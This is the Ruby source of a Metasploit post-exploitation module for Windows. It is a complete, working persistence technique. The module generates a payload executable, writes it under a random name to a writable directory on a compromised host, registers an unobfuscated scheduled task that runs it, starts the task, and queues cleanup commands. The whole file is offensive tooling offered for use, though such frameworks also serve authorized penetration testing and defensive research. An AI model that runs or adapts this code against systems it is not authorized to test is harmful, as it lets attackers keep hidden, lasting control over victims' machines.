task_scheduler.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Windows::TaskScheduler

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Persistent Task Scheduler',
        'Description' => %q{
          This module establishes persistence by creating a scheduled task to run a payload.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'h00die' ],
        'Platform' => [ 'win' ],
        'Privileged' => true,
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']
        ],
        'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
        OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
      ]
    )

    # not needed since this is not remote
    deregister_options(
      'ScheduleRemoteSystem',
      'ScheduleUsername',
      'SchedulePassword',
      'ScheduleObfuscationTechnique' # prefer NONE so we can start our service
    )
  end

  def writable_dir
    d = super
    return session.sys.config.getenv(d) if d.start_with?('%')

    d
  end

  def check
    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
    return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)

    begin
      get_system_privs
    rescue StandardError
      return CheckCode::Safe('You need higher privileges to create scheduled tasks ')
    end

    CheckCode::Appears('Likely exploitable')
  end

  def upload_payload(dest_pathname)
    payload_exe = generate_payload_exe
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)
    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
  end

  def install_persistence
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    temp_path = writable_dir
    payload_pathname = temp_path + '\\' + payload_name + '.exe'
    upload_payload(payload_pathname)

    task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    vprint_status("Creating task: #{task_name}")
    begin
      task_create(task_name, payload_pathname, { obfuscation: 'NONE' })
    rescue TaskSchedulerObfuscationError => e
      print_warning(e.message)
      print_good('Task created without obfuscation')
    rescue TaskSchedulerError => e
      fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")
    end

    vprint_status("Starting task: #{task_name}")
    task_start(task_name)
    schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb
    @clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"
    @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
  end
end